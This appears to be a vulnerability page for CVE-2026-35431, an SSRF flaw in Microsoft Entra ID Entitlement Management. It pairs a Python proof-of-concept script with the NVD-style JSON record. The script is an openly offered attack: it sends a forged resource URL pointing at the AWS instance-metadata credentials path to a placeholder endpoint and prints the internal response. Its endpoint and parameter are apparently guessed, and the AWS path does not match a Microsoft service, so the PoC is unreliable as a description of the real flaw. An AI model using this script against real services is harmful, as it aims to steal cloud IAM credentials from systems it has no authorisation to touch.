CVE-2026-35431

import requests # PoC for CVE-2026-35431: Microsoft Entra ID Entitlement Management SSRF # This is a conceptual proof-of-concept demonstrating the vulnerability. # Target: Vulnerable endpoint in Microsoft Entra ID Entitlement Management # Impact: Scanning internal network or accessing cloud metadata target_url = "https://target-entra-id-endpoint/entitlements/vulnerable-api" # Attacker controlled payload pointing to an internal resource (e.g., AWS Metadata) internal_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "User-Agent": "SSRF-Scanner", "Content-Type": "application/json" } data = { "resourceUrl": internal_payload # The parameter vulnerable to SSRF } try: response = requests.post(target_url, json=data, headers=headers, verify=False) if response.status_code == 200: print("[*] SSRF Successful! Response from internal resource:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-35431", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:38.510", "lastModified": "2026-04-28T12:10:53.103", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Entra ID Entitlement Management allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:entra_id:-:*:*:*:*:*:*:*", "matchCriteriaId": "D09E509F-AFF3-4991-877A-D197388E7AD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35431", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}